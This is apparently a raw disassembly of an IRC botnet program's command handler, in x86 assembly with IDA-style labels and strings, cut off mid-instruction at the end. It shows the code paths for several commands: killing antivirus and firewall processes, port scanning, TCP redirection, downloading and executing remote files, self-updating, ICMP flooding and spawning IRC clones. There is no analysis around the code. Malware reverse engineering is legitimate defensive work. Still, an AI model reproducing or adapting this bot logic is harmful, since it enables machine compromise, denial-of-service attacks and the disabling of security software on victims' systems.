loc_409691 cmp [ebp+var_448], al push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] jz short loc_409658 push eax push [ebp+var_10] push 1 jmp short loc_409672 ; --------------------------------------------------------------------------- loc_409658: ; CODE XREF: sub_4078FA+1D54j mov ebx, [ebp+ebx+var_98] test ebx, ebx jz short loc_40966B push ebx push [ebp+var_10] push 0 jmp short loc_409672 ; --------------------------------------------------------------------------- loc_40966B: ; CODE XREF: sub_4078FA+1D67j push 0 push [ebp+var_10] push 2 loc_409672: ; CODE XREF: sub_4078FA+1D5Cj ; sub_4078FA+1D6Fj call sub_4068DF push eax lea eax, [ebp+var_2E0] push offset aS_1 ; "%s" push eax call sub_412BB5 add esp, 24h jmp loc_40AE14 ; --------------------------------------------------------------------------- loc_409691: ; CODE XREF: sub_4078FA+1D40j push 0 push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_4069A9 add esp, 10h test eax, eax lea eax, [ebp+var_2E0] jz short loc_4096BB push offset aNetUserListCom ; "[NET]: User list completed." jmp loc_40AE0C ; --------------------------------------------------------------------------- loc_4096BB: ; CODE XREF: sub_4078FA+1DB5j push offset aNetUserListFai ; "[NET]: User list failed." jmp loc_40AE0C ; --------------------------------------------------------------------------- loc_4096C5: ; CODE XREF: sub_4078FA+1D37j push 5 mov edi, edx mov esi, offset aSend ; "send" pop ecx xor eax, eax repe cmpsb jnz short loc_40970F cmp [ebp+var_10], eax jz short loc_409708 push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] push [ebp+arg_0] call sub_4065CE push eax lea eax, [ebp+var_2E0] push offset aS_1 ; "%s" push eax call sub_412BB5 add esp, 1Ch jmp loc_40AE14 ; --------------------------------------------------------------------------- loc_409708: ; CODE XREF: sub_4078FA+1DDEj push offset aNetNoMessageSp ; "[NET]: No message specified." jmp short loc_409714 ; --------------------------------------------------------------------------- loc_40970F: ; CODE XREF: sub_4078FA+1DD9j push offset aNetCommandUnkn ; "[NET]: Command unknown." loc_409714: ; CODE XREF: sub_4078FA+1BA7j ; sub_4078FA+1E13j lea eax, [ebp+var_2E0] jmp loc_40AE0C ; --------------------------------------------------------------------------- loc_40971F: ; CODE XREF: sub_4078FA+1B8Aj push 8 mov edi, eax mov esi, offset aGethost ; "gethost" pop ecx xor edx, edx repe cmpsb jz loc_40ABFB push 3 mov edi, eax mov esi, offset aGh ; "gh" pop ecx xor edx, edx repe cmpsb jz loc_40ABFB push 0Bh mov edi, eax mov esi, offset aAvfwkiller ; "avfwkiller" pop ecx xor edx, edx repe cmpsb jnz loc_40984D mov edi, [ebp+var_8] push 6 mov esi, offset aStart ; "start" pop ecx xor eax, eax repe cmpsb jnz loc_409820 lea eax, [ebp+var_2E0] push offset aAvfwAvFwBotKil ; "[AVFW]: AV/FW/BOT Killer active." push eax call sub_412BB5 push [ebp+ebx+var_9C] xor edi, edi push 1 push offset aKillerThread ; "Killer Thread" push offset aAvfw ; "[AVFW]" push 1 push edi push [ebp+var_9C] push [ebp+arg_4] call sub_411120 push edi lea eax, [ebp+var_2E0] push 1 push eax call sub_410EEA add esp, 34h mov esi, eax lea eax, [ebp+var_18] push eax push edi push edi push offset sub_4074FD push edi push edi call ds:dword_41F00C imul esi, 234h cmp eax, edi mov dword_43434C[esi], eax jnz short loc_4097F9 call ds:dword_41F008 push eax lea eax, [ebp+var_2E0] push offset aAvfwFailedToSt ; "[AVFW]: Failed to start AV/FW killer th"... push eax call sub_412BB5 add esp, 0Ch loc_4097F9: ; CODE XREF: sub_4078FA+1EE2j lea eax, [ebp+var_2E0] push eax call sub_401C33 cmp [ebp+var_C], edi pop ecx jnz loc_407B7B push 0 push [ebp+var_4] lea eax, [ebp+var_2E0] push eax jmp loc_40BC13 ; --------------------------------------------------------------------------- loc_409820: ; CODE XREF: sub_4078FA+1E70j mov edi, [ebp+var_8] push 5 mov esi, offset aStop ; "stop" pop ecx xor eax, eax repe cmpsb jnz loc_407B7B push [ebp+ebx+var_9C] push 1 push offset aKillerThread ; "Killer Thread" push offset aAvfw ; "[AVFW]" jmp loc_40C14E ; --------------------------------------------------------------------------- loc_40984D: ; CODE XREF: sub_4078FA+1E5Bj mov ecx, [ebp+ebx+var_9C] test ecx, ecx mov [ebp+var_10], ecx jz loc_407B7B push 9 mov edi, eax mov esi, offset aAddalias ; "addalias" pop ecx xor edx, edx repe cmpsb jz loc_40AB88 push 3 mov edi, eax mov esi, offset aAa ; "aa" pop ecx xor edx, edx repe cmpsb jz loc_40AB88 push 8 mov edi, eax mov esi, offset aPrivmsg_0 ; "privmsg" pop ecx xor edx, edx repe cmpsb jz loc_40AB1D push 3 mov edi, eax mov esi, offset aPm_0 ; "pm" pop ecx xor edx, edx repe cmpsb jz loc_40AB1D push 7 mov edi, eax mov esi, offset aAction ; "action" pop ecx xor edx, edx repe cmpsb jz loc_40AA9A push 2 mov edi, eax mov esi, offset aA_1 ; "a" pop ecx xor edx, edx repe cmpsb jz loc_40AA9A push 6 mov edi, eax mov esi, offset aCycle ; "cycle" pop ecx xor edx, edx repe cmpsb jz loc_40AA34 push 3 mov edi, eax mov esi, offset aCy ; "cy" pop ecx xor edx, edx repe cmpsb jz loc_40AA34 push 5 mov edi, eax mov esi, offset aMode ; "mode" pop ecx xor edx, edx repe cmpsb jz loc_40A9FA push 2 mov edi, eax mov esi, offset aM ; "m" pop ecx xor edx, edx repe cmpsb jz loc_40A9FA push 6 mov edi, eax mov esi, offset aC_raw ; "c_raw" pop ecx xor edx, edx repe cmpsb jz loc_40A98B push 4 mov edi, eax mov esi, offset aC_r ; "c_r" pop ecx xor edx, edx repe cmpsb jz loc_40A98B push 7 mov edi, eax mov esi, offset aC_mode ; "c_mode" pop ecx xor edx, edx repe cmpsb jz loc_40A905 push 4 mov edi, eax mov esi, offset aC_m ; "c_m" pop ecx xor edx, edx repe cmpsb jz loc_40A905 push 7 mov edi, eax mov esi, offset aC_nick ; "c_nick" pop ecx xor edx, edx repe cmpsb jz loc_40A894 push 4 mov edi, eax mov esi, offset aC_n ; "c_n" pop ecx xor edx, edx repe cmpsb jz loc_40A894 push 7 mov edi, eax mov esi, offset aC_join ; "c_join" pop ecx xor edx, edx repe cmpsb jz loc_40A86C push 4 mov edi, eax mov esi, offset aC_j ; "c_j" pop ecx xor edx, edx repe cmpsb jz loc_40A86C push 7 mov edi, eax mov esi, offset aC_part ; "c_part" pop ecx xor edx, edx repe cmpsb jz loc_40A806 push 4 mov edi, eax mov esi, offset aC_p ; "c_p" pop ecx xor edx, edx repe cmpsb jz loc_40A806 push 7 mov edi, eax mov esi, offset aRepeat ; "repeat" pop ecx xor edx, edx repe cmpsb jz loc_40A742 push 3 mov edi, eax mov esi, offset aRp ; "rp" pop ecx xor edx, edx repe cmpsb jz loc_40A742 push 6 mov edi, eax mov esi, offset aDelay ; "delay" pop ecx xor edx, edx repe cmpsb jz loc_40A6A5 push 3 mov edi, eax mov esi, offset aDe ; "de" pop ecx xor edx, edx repe cmpsb jz loc_40A6A5 push 7 mov edi, eax mov esi, offset aUpdate ; "update" pop ecx xor edx, edx repe cmpsb jz loc_40A4CE push 3 mov edi, eax mov esi, offset aUp ; "up" pop ecx xor edx, edx repe cmpsb jz loc_40A4CE push 8 mov edi, eax mov esi, offset aExecute ; "execute" pop ecx xor edx, edx repe cmpsb jz loc_40A42B push 2 mov edi, eax mov esi, offset aE ; "e" pop ecx xor edx, edx repe cmpsb jz loc_40A42B push 7 mov edi, eax mov esi, offset aRename ; "rename" pop ecx xor edx, edx repe cmpsb jz loc_40A3D3 push 3 mov edi, eax mov esi, offset aMv ; "mv" pop ecx xor edx, edx repe cmpsb jz loc_40A3D3 push 0Ah mov edi, eax mov esi, offset aIcmpflood ; "icmpflood" pop ecx xor edx, edx repe cmpsb jz loc_40A2AF push 5 mov edi, eax mov esi, offset aIcmp ; "icmp" pop ecx xor edx, edx repe cmpsb jz loc_40A2AF mov ecx, [ebp+ebx+var_98] test ecx, ecx mov [ebp+arg_0], ecx jz loc_407B7B push 6 mov edi, eax mov esi, offset aClone_0 ; "clone" pop ecx xor edx, edx repe cmpsb jz loc_40A1C1 push 2 mov edi, eax mov esi, offset aC ; "c" pop ecx xor edx, edx repe cmpsb jz loc_40A1C1 push 9 mov edi, eax mov esi, offset aDownload ; "download" pop ecx xor edx, edx repe cmpsb jz loc_40A044 push 3 mov edi, eax mov esi, offset aDl ; "dl" pop ecx xor edx, edx repe cmpsb jz loc_40A044 push 9 mov edi, eax mov esi, offset aRedirect ; "redirect" pop ecx xor edx, edx repe cmpsb jz loc_409F22 push 3 mov edi, eax mov esi, offset aRd ; "rd" pop ecx xor edx, edx repe cmpsb jz loc_409F22 push 5 mov edi, eax mov esi, offset aScan ; "scan" pop ecx xor edx, edx repe cmpsb jz loc_409E07 push 3 mov edi, eax mov esi, offset aSc ; "sc" pop ecx xor edx, edx repe cmpsb jz loc_409E07 push 0Ah mov edi, eax mov esi, offset aC_privmsg ; "c_privmsg" pop ecx xor edx, edx repe cmpsb jz loc_409D11 push 5 mov edi, eax mov esi, offset aC_pm ; "c_pm" pop ecx xor edx, edx repe cmpsb jz loc_409D11 push 9 mov edi, eax mov esi, offset aC_action ; "c_action" pop ecx xor edx, edx repe cmpsb jz short loc_409BDD push 4 mov edi, eax mov esi, offset dword_425A64 pop ecx xor edx, edx repe cmpsb jnz loc_408D7C loc_409BDD: ; CODE XREF: sub_4078FA+22CDj push [ebp+var_8] call sub_412F42 imul eax, 234h cmp byte_434350[eax], 0 pop ecx jz loc_40CFE2 mov edi, [ebp+var_14] test edi, edi jz loc_40CFE2 mov eax, [ebp+var_20] lea edx, [eax+1] loc_409C0A: ; CODE XREF: sub_4078FA+2315j mov cl, [eax] inc eax test cl, cl jnz short loc_409C0A sub eax, edx mov ebx, eax mov eax, [ebp+var_8] lea ecx, [eax+1] loc_409C1B: ; CODE XREF: sub_4078FA+2326j mov dl, [eax] inc eax test dl, dl jnz short loc_409C1B sub eax, ecx mov ecx, eax mov eax, [ebp+var_10] lea esi, [eax+1] loc_409C2C: ; CODE XREF: sub_4078FA+2337j mov dl, [eax] inc eax test dl, dl jnz short loc_409C2C push [ebp+arg_0] sub eax, esi add eax, ecx add eax, ebx lea eax, [eax+edi+2] push eax call sub_413920 mov esi, eax push esi lea eax, [ebp+var_2E0] push offset dword_425A58 push eax call sub_412BB5 add esp, 14h test esi, esi jz loc_40CFE2 mov edi, [ebp+var_8] push edi call sub_412F42 test eax, eax pop ecx jle loc_40CFE2 push edi call sub_412F42 cmp eax, 1F4h pop ecx jge loc_40CFE2 xor ebx, ebx push ebx push ebx lea eax, [ebp+var_2E0] push eax push [ebp+var_10] push edi call sub_412F42 imul eax, 234h pop ecx push dword_434344[eax] call sub_4045DD push edi call sub_412F42 imul eax, 234h add esp, 18h cmp byte ptr dword_434138[eax], 73h jnz loc_40CFE2 push esi push edi call sub_412F42 imul eax, 234h pop ecx add eax, offset byte_434350 push eax push [ebp+var_10] push offset aSSS_2 ; "[%s] * %s %s" loc_409CE7: ; CODE XREF: sub_4078FA+2508j lea eax, [ebp+var_2E0] push eax call sub_412BB5 push ebx push [ebp+var_4] lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD jmp loc_40BBEB ; --------------------------------------------------------------------------- loc_409D11: ; CODE XREF: sub_4078FA+22A5j ; sub_4078FA+22B9j push [ebp+var_8] call sub_412F42 imul eax, 234h cmp byte_434350[eax], 0 pop ecx jz loc_40CFE2 mov edi, [ebp+var_14] test edi, edi jz loc_40CFE2 mov eax, [ebp+var_20] lea edx, [eax+1] loc_409D3E: ; CODE XREF: sub_4078FA+2449j mov cl, [eax] inc eax test cl, cl jnz short loc_409D3E sub eax, edx mov ebx, eax mov eax, [ebp+var_8] lea ecx, [eax+1] loc_409D4F: ; CODE XREF: sub_4078FA+245Aj mov dl, [eax] inc eax test dl, dl jnz short loc_409D4F sub eax, ecx mov ecx, eax mov eax, [ebp+var_10] lea esi, [eax+1] loc_409D60: ; CODE XREF: sub_4078FA+246Bj mov dl, [eax] inc eax test dl, dl jnz short loc_409D60 push [ebp+arg_0] sub eax, esi add eax, ecx add eax, ebx lea eax, [eax+edi+2] push eax call sub_413920 mov esi, eax test esi, esi pop ecx pop ecx jz loc_40CFE2 mov edi, [ebp+var_8] push edi call sub_412F42 test eax, eax pop ecx jle loc_40CFE2 push edi call sub_412F42 cmp eax, 1F4h pop ecx jge loc_40CFE2 xor ebx, ebx push ebx push ebx push esi push [ebp+var_10] push edi call sub_412F42 imul eax, 234h pop ecx push dword_434344[eax] call sub_4045DD push edi call sub_412F42 imul eax, 234h add esp, 18h cmp byte ptr dword_434138[eax], 73h jnz loc_40CFE2 push esi push edi call sub_412F42 imul eax, 234h pop ecx add eax, offset byte_434350 push eax push [ebp+var_10] push offset aSSS_1 ; "[%s] <%s> %s" jmp loc_409CE7 ; --------------------------------------------------------------------------- loc_409E07: ; CODE XREF: sub_4078FA+227Dj ; sub_4078FA+2291j push [ebp+var_8] call dword_433514 push [ebp+var_10] mov [ebp+var_2F8], eax call sub_412F42 push [ebp+arg_0] mov [ebp+var_304], eax call sub_412F42 mov edi, [ebp+arg_4] push 7Fh push [ebp+var_9C] mov [ebp+var_300], eax lea eax, [ebp+var_384] push eax mov [ebp+var_388], edi call sub_412C40 mov eax, [ebp+var_C] mov ebx, [ebp+var_4] add esp, 14h push [ebp+var_300] mov [ebp+var_2F0], ebx push [ebp+var_304] mov [ebp+var_2EC], eax push [ebp+var_2F8] call dword_433520 push eax lea eax, [ebp+var_2E0] push offset aScanPortScanSt ; "[SCAN]: Port scan started: %s:%d with d"... push eax call sub_412BB5 xor esi, esi push esi lea eax, [ebp+var_2E0] push 9 push eax call sub_410EEA add esp, 20h mov [ebp+var_2FC], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_388] push eax push offset sub_40E8FF push esi push esi call ds:dword_41F00C mov ecx, [ebp+var_2FC] imul ecx, 234h cmp eax, esi mov dword_43434C[ecx], eax jnz short loc_409F18 call ds:dword_41F008 push eax lea eax, [ebp+var_2E0] push offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"... push eax call sub_412BB5 add esp, 0Ch loc_409EF2: ; CODE XREF: sub_4078FA+2626j cmp [ebp+var_C], esi jnz loc_40C4A1 push esi push ebx lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push edi jmp loc_40C499 ; --------------------------------------------------------------------------- loc_409F10: ; CODE XREF: sub_4078FA+2624j push 32h call ds:dword_41F000 loc_409F18: ; CODE XREF: sub_4078FA+25DBj cmp [ebp+var_2E8], esi jz short loc_409F10 jmp short loc_409EF2 ; --------------------------------------------------------------------------- loc_409F22: ; CODE XREF: sub_4078FA+2255j ; sub_4078FA+2269j push [ebp+var_8] call sub_412F42 push 7Fh push [ebp+var_10] mov [ebp+var_FD0], eax lea eax, [ebp+var_10D4] push eax call sub_412C40 push [ebp+arg_0] call sub_412F42 push [ebp+var_9C] mov esi, [ebp+arg_4] mov [ebp+var_FD4], eax lea eax, [ebp+var_1054] push 80h push eax mov [ebp+var_10DC], esi call sub_412E0D mov eax, [ebp+var_C] mov ebx, [ebp+var_4] add esp, 20h push [ebp+var_FD4] mov [ebp+var_FC0], eax lea eax, [ebp+var_10D4] push eax push [ebp+var_FD0] mov [ebp+var_FC4], ebx push esi call sub_406C33 pop ecx push eax lea eax, [ebp+var_2E0] push offset aRedirectTcpRed ; "[REDIRECT]: TCP redirect created from: "... push eax call sub_412BB5 xor edi, edi push edi lea eax, [ebp+var_2E0] push 11h push eax call sub_410EEA add esp, 24h mov [ebp+var_FCC], eax lea eax, [ebp+var_18] push eax push edi lea eax, [ebp+var_10DC] push eax push offset sub_40D9BC push edi push edi call ds:dword_41F00C mov ecx, [ebp+var_FCC] imul ecx, 234h cmp eax, edi mov dword_43434C[ecx], eax jnz short loc_40A03A call ds:dword_41F008 push eax push offset aRedirectFailed ; "[REDIRECT]: Failed to start redirection"... loc_40A005: ; CODE XREF: sub_4078FA+28ADj ; sub_4078FA+3FD1j ... lea eax, [ebp+var_2E0] push eax call sub_412BB5 add esp, 0Ch loc_40A014: ; CODE XREF: sub_4078FA+2748j ; sub_4078FA+28C2j ... cmp [ebp+var_C], edi jnz loc_40C4A1 push edi push ebx lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push esi jmp loc_40C499 ; --------------------------------------------------------------------------- loc_40A032: ; CODE XREF: sub_4078FA+2746j push 32h call ds:dword_41F000 loc_40A03A: ; CODE XREF: sub_4078FA+26FDj cmp [ebp+var_FBC], edi jz short loc_40A032 jmp short loc_40A014 ; --------------------------------------------------------------------------- loc_40A044: ; CODE XREF: sub_4078FA+222Dj ; sub_4078FA+2241j mov esi, 0FFh push esi push [ebp+var_8] lea eax, [ebp+var_F28] push eax call sub_412C40 push [ebp+arg_0] xor edi, edi mov [ebp+var_C24], edi call sub_412F42 mov [ebp+var_C20], eax mov eax, [ebp+ebx+var_94] add esp, 10h cmp eax, edi jz short loc_40A091 push 10h push edi push eax call sub_413809 add esp, 0Ch mov [ebp+var_C18], eax jmp short loc_40A097 ; --------------------------------------------------------------------------- loc_40A091: ; CODE XREF: sub_4078FA+2781j mov [ebp+var_C18], edi loc_40A097: ; CODE XREF: sub_4078FA+2795j mov ebx, [ebp+ebx+var_90] cmp ebx, edi jz short loc_40A0B1 push ebx call sub_412F42 pop ecx mov [ebp+var_C1C], eax jmp short loc_40A0B7 ; --------------------------------------------------------------------------- loc_40A0B1: ; CODE XREF: sub_4078FA+27A6j mov [ebp+var_C1C], edi loc_40A0B7: ; CODE XREF: sub_4078FA+27B5j push 3Fh push [ebp+var_10] call sub_413F30 mov ebx, eax cmp ebx, edi pop ecx pop ecx jz short loc_40A0F1 and byte ptr [ebx], 0 inc ebx loc_40A0CD: ; CODE XREF: sub_4078FA+27E4j push 26h push ebx call sub_413F30 cmp eax, edi pop ecx pop ecx jz short loc_40A0E0 mov byte ptr [eax], 20h jmp short loc_40A0CD ; --------------------------------------------------------------------------- loc_40A0E0: ; CODE XREF: sub_4078FA+27DFj push esi lea eax, [ebp+var_D28] push ebx push eax call sub_412C40 add esp, 0Ch loc_40A0F1: ; CODE XREF: sub_4078FA+27CDj push esi push [ebp+var_10] lea eax, [ebp+var_E28] push eax call sub_412C40 movzx eax, [ebp+var_447] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_9C] mov [ebp+var_C14], eax lea eax, [ebp+var_FA8] push eax mov [ebp+var_FAC], esi call sub_412C40 push [ebp+var_10] mov eax, [ebp+var_C] push [ebp+var_8] mov ebx, [ebp+var_4] mov [ebp+var_C10], eax lea eax, [ebp+var_2E0] push offset aDownloadDown_1 ; "[DOWNLOAD]: Downloading URL: %s to: %s."... push eax mov [ebp+var_C0C], ebx call sub_412BB5 push esi lea eax, [ebp+var_2E0] push 16h push eax call sub_410EEA add esp, 34h mov [ebp+var_C28], eax lea eax, [ebp+var_18] push eax push edi lea eax, [ebp+var_FAC] push eax push offset sub_401F06 push edi push edi call ds:dword_41F00C mov ecx, [ebp+var_C28] imul ecx, 234h cmp eax, edi mov dword_43434C[ecx], eax jnz short loc_40A1B4 call ds:dword_41F008 push eax push offset aDownloadFailed ; "[DOWNLOAD]: Failed to start transfer th"... jmp loc_40A005 ; --------------------------------------------------------------------------- loc_40A1AC: ; CODE XREF: sub_4078FA+28C0j push 32h call ds:dword_41F000 loc_40A1B4: ; CODE XREF: sub_4078FA+289Fj cmp [ebp+var_C08], edi jz short loc_40A1AC jmp loc_40A014 ; --------------------------------------------------------------------------- loc_40A1C1: ; CODE XREF: sub_4078FA+2205j ; sub_4078FA+2219j push 7Fh push [ebp+var_8] lea eax, [ebp+var_123C] push eax call sub_412C40 push [ebp+var_10] call sub_412F42 push 3Fh push [ebp+arg_0] mov [ebp+var_10EC], eax lea eax, [ebp+var_11BC] push eax call sub_412C40 mov ebx, [ebp+ebx+var_94] xor esi, esi add esp, 1Ch cmp ebx, esi jz short loc_40A213 push 3Fh lea eax, [ebp+var_117C] push ebx push eax call sub_412C40 add esp, 0Ch loc_40A213: ; CODE XREF: sub_4078FA+2905j lea eax, [ebp+var_11BC] push eax push [ebp+var_10EC] lea eax, [ebp+var_123C] push eax lea eax, [ebp+var_2E0] push offset aClonesCreatedO ; "[CLONES]: Created on %s:%d, in channel "... push eax mov [ebp+var_10E8], 1 call sub_412BB5 push esi lea eax, [ebp+var_2E0] push 18h push eax call sub_410EEA add esp, 20h mov [ebp+var_10E4], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_1240] push eax push offset sub_40779B push esi push esi call ds:dword_41F00C mov ecx, [ebp+var_10E4] imul ecx, 234h cmp eax, esi mov dword_43434C[ecx], eax jnz short loc_40A2A2 call ds:dword_41F008 push eax push offset aClonesFailedTo ; "[CLONES]: Failed to start clone thread,"... jmp loc_40AF46 ; --------------------------------------------------------------------------- loc_40A29A: ; CODE XREF: sub_4078FA+29AEj push 32h call ds:dword_41F000 loc_40A2A2: ; CODE XREF: sub_4078FA+298Dj cmp [ebp+var_10E0], esi jz short loc_40A29A jmp loc_40AF55 ; --------------------------------------------------------------------------- loc_40A2AF: ; CODE XREF: sub_4078FA+21CBj ; sub_4078FA+21DFj push [ebp+var_10] call sub_412F42 mov ebx, [ebp+arg_4] xor edi, edi cmp eax, edi pop ecx mov [ebp+var_1358], eax jle loc_40A3AE push [ebp+var_8] mov esi, 80h lea eax, [ebp+var_14E0] push esi push eax call sub_412E0D push [ebp+var_9C] xor eax, eax cmp [ebp+var_43A], al push esi setnz al mov [ebp+var_14E4], ebx mov [ebp+var_1354], eax lea eax, [ebp+var_13E0] push eax call sub_412E0D push [ebp+var_10] mov eax, [ebp+var_4] push [ebp+var_8] mov [ebp+var_1350], eax mov eax, [ebp+var_C] push offset aIcmpFloodingSF ; "[ICMP]: Flooding: (%s) for %s seconds." mov [ebp+var_134C], eax lea eax, [ebp+var_2E0] push 200h push eax call sub_412E0D push edi lea eax, [ebp+var_2E0] push 0Eh push eax call sub_410EEA add esp, 38h mov [ebp+var_1360], eax lea eax, [ebp+var_18] push eax push edi lea eax, [ebp+var_14E4] push eax push offset sub_404249 push edi push edi call ds:dword_41F00C mov ecx, [ebp+var_1360] imul ecx, 234h cmp eax, edi mov dword_43434C[ecx], eax jnz short loc_40A3A4 call ds:dword_41F008 push eax lea eax, [ebp+var_2E0] push offset aIcmpFailedToSt ; "[ICMP]: Failed to start flood thread, e"... push eax call sub_412BB5 add esp, 0Ch jmp short loc_40A3C1 ; --------------------------------------------------------------------------- loc_40A39C: ; CODE XREF: sub_4078FA+2AB0j push 32h call ds:dword_41F000 loc_40A3A4: ; CODE XREF: sub_4078FA+2A83j cmp [ebp+var_1348], edi jz short loc_40A39C jmp short loc_40A3C1 ; --------------------------------------------------------------------------- loc_40A3AE: ; CODE XREF: sub_4078FA+29CBj lea eax, [ebp+var_2E0] push offset aIcmpInvalidFlo ; "[ICMP]: Invalid flood time must be grea"... push eax call sub_412BB5 pop ecx pop ecx loc_40A3C1: ; CODE XREF: sub_4078FA+2AA0j ; sub_4078FA+2AB2j cmp [ebp+var_C], edi jnz loc_40C4A1 push edi push [ebp+var_4] jmp loc_40CB44 ; --------------------------------------------------------------------------- loc_40A3D3: ; CODE XREF: sub_4078FA+21A3j ; sub_4078FA+21B7j push [ebp+var_10] push [ebp+var_8] call ds:dword_41F0CC test eax, eax jz short loc_40A407 push [ebp+var_10] lea eax, [ebp+var_2E0] push [ebp+var_8] push offset aFileRenameSToS ; "[FILE]: Rename: '%s' to: '%s'." push 200h push eax call sub_412E0D add esp, 14h jmp loc_40C47E ; --------------------------------------------------------------------------- loc_40A407: ; CODE XREF: sub_4078FA+2AE7j push offset aFile ; "[FILE]:" call sub_405708 push eax lea eax, [ebp+var_2E0] push 200h push eax call sub_412E0D add esp, 10h jmp loc_40C47E ; --------------------------------------------------------------------------- loc_40A42B: ; CODE XREF: sub_4078FA+217Bj ; sub_4078FA+218Fj push 11h pop ecx push [ebp+var_8] xor eax, eax xor ebx, ebx lea edi, [ebp+var_3F0] rep stosd inc ebx xor esi, esi mov [ebp+var_3F0], 44h mov [ebp+var_3C4], ebx mov word ptr [ebp+var_3C0], si call sub_412F42 cmp eax, ebx pop ecx jnz short loc_40A46A mov word ptr [ebp+var_3C0], 5 loc_40A46A: ; CODE XREF: sub_4078FA+2B65j cmp [ebp+var_14], esi jz loc_40AF55 push [ebp+var_10] push [ebp+var_14] call sub_413920 mov edi, eax cmp edi, esi pop ecx pop ecx jz loc_40AF55 lea eax, [ebp+var_A64] push eax lea eax, [ebp+var_3F0] push eax push esi push esi push 30h push ebx push esi push esi push edi push esi call ds:dword_41F030 test eax, eax lea eax, [ebp+var_2E0] jnz short loc_40A4C3 push offset aExecCouldnTExe ; "[EXEC]: Couldn't execute file." push eax call sub_412BB5 pop ecx pop ecx jmp loc_40AF55 ; --------------------------------------------------------------------------- loc_40A4C3: ; CODE XREF: sub_4078FA+2BB5j push edi push offset aExecCommandsS ; "[EXEC]: Commands: %s" jmp loc_40AF4C ; --------------------------------------------------------------------------- loc_40A4CE: ; CODE XREF: sub_4078FA+2153j ; sub_4078FA+2167j mov edi, [ebp+var_10] mov esi, offset aBot018 ; "Bot018" loc_40A4D6: ; CODE XREF: sub_4078FA+2BF8j mov cl, [esi] mov al, cl cmp cl, [edi] jnz short loc_40A4F8 test al, al jz short loc_40A4F4 mov cl, [esi+1] mov al, cl cmp cl, [edi+1] jnz short loc_40A4F8 inc esi inc esi inc edi inc edi test al, al jnz short loc_40A4D6 loc_40A4F4: ; CODE XREF: sub_4078FA+2BE6j xor eax, eax jmp short loc_40A4FD ; --------------------------------------------------------------------------- loc_40A4F8: ; CODE XREF: sub_4078FA+2BE2j ; sub_4078FA+2BF0j sbb eax, eax sbb eax, 0FFFFFFFFh loc_40A4FD: ; CODE XREF: sub_4078FA+2BFCj test eax, eax mov edi, [ebp+arg_4] jz loc_40A670 lea eax, [ebp+var_B74] push eax push 104h call ds:dword_41F0A4 push 0FFh push [ebp+var_8] lea eax, [ebp+var_F28] push eax call sub_412C40 lea eax, [ebp+var_A70] push eax call sub_40E4F3 push eax lea eax, [ebp+var_B74] push eax lea eax, [ebp+var_E28] push offset aSS_exe ; "%s%s.exe" push eax call sub_412BB5 mov eax, [ebp+ebx+var_98] xor esi, esi add esp, 20h cmp eax, esi mov [ebp+var_C24], 1 mov [ebp+var_C20], esi jz short loc_40A587 push 10h push esi push eax call sub_413809 add esp, 0Ch mov [ebp+var_C18], eax jmp short loc_40A58D ; --------------------------------------------------------------------------- loc_40A587: ; CODE XREF: sub_4078FA+2C77j mov [ebp+var_C18], esi loc_40A58D: ; CODE XREF: sub_4078FA+2C8Bj mov ebx, [ebp+ebx+var_94] cmp ebx, esi jz short loc_40A5A7 push ebx call sub_412F42 pop ecx mov [ebp+var_C1C], eax jmp short loc_40A5AD ; --------------------------------------------------------------------------- loc_40A5A7: ; CODE XREF: sub_4078FA+2C9Cj mov [ebp+var_C1C], esi loc_40A5AD: ; CODE XREF: sub_4078FA+2CABj movzx eax, [ebp+var_447] push 7Fh push [ebp+var_9C] mov [ebp+var_C14], eax lea eax, [ebp+var_FA8] push eax mov [ebp+var_FAC], edi call sub_412C40 mov eax, [ebp+var_4] push [ebp+var_8] mov [ebp+var_C0C], eax mov eax, [ebp+var_C] mov [ebp+var_C10], eax lea eax, [ebp+var_2E0] push offset aUpdateDownload ; "[UPDATE]: Downloading update from: %s." push eax call sub_412BB5 push edi lea eax, [ebp+var_2E0] push 17h push eax call sub_410EEA add esp, 24h mov [ebp+var_C28], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_FAC] push eax push offset sub_401F06 push esi push esi call ds:dword_41F00C mov ecx, [ebp+var_C28] imul ecx, 234h cmp eax, esi mov dword_43434C[ecx], eax jnz short loc_40A666 call ds:dword_41F008 push eax lea eax, [ebp+var_2E0] push offset aUpdateFailedTo ; "[UPDATE]: Failed to start download thre"... push eax call sub_412BB5 add esp, 0Ch jmp short loc_40A685 ; --------------------------------------------------------------------------- loc_40A65E: ; CODE XREF: sub_4078FA+2D72j push 32h call ds:dword_41F000 loc_40A666: ; CODE XREF: sub_4078FA+2D45j cmp [ebp+var_C08], esi jz short loc_40A65E jmp short loc_40A685 ; --------------------------------------------------------------------------- loc_40A670: ; CODE XREF: sub_4078FA+2C08j lea eax, [ebp+var_2E0] push offset aUpdateUpToDate ; "[UPDATE]: Up to Date" push eax call sub_412BB5 pop ecx pop ecx xor esi, esi loc_40A685: ; CODE XREF: sub_4078FA+2D62j ; sub_4078FA+2D74j cmp [ebp+var_C], esi jnz loc_409015 push esi push [ebp+var_4] lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push edi jmp loc_40900D ; --------------------------------------------------------------------------- loc_40A6A5: ; CODE XREF: sub_4078FA+212Bj ; sub_4078FA+213Fj mov edi, [ebp+var_A0] push 4 mov esi, offset dword_4263EC pop ecx xor eax, eax repe cmpsb jz loc_407B7B cmp [ebp+var_14], eax jz loc_407B7B push [ebp+var_10] push [ebp+var_14] call sub_413920 push eax push [ebp+var_9C] lea eax, [ebp+var_2E0] push [ebp+var_A0] push [ebp+var_A4] push offset aSSSS ; "%s %s %s :%s" push eax call sub_412BB5 push 1FFh lea eax, [ebp+var_2E0] push eax push [ebp+arg_0] call sub_412C40 push [ebp+var_8] call sub_412F42 add esp, 30h test eax, eax jle short loc_40A72E push [ebp+var_8] call sub_412F42 imul eax, 3E8h pop ecx push eax call ds:dword_41F000 loc_40A72E: ; CODE XREF: sub_4078FA+2E1Cj push offset aMainDelay_ ; "[MAIN]: Delay." call 